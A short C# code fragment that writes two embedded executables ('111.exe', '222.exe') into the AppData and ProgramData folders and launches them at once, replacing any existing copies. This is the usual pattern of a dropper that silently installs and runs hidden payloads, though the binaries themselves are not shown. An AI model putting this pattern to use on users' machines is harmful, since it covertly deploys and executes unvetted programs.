string file1 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\111.exe";
string fil = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\222.exe";
if (!File.Exists(file1))
{
File.WriteAllBytes(file1, Resources.111);
Process.Start(file1);
}
else
{
File.Delete(file1);
File.WriteAllBytes(file1, Resources.111);
Process.Start(file1);
}
if (!File.Exists(fil))
{
File.WriteAllBytes(fil, Resources.222);
Process.Start(fil);
}
else
{
File.Delete(fil);
File.WriteAllBytes(fil, Resources.222);
Process.Start(fil);
}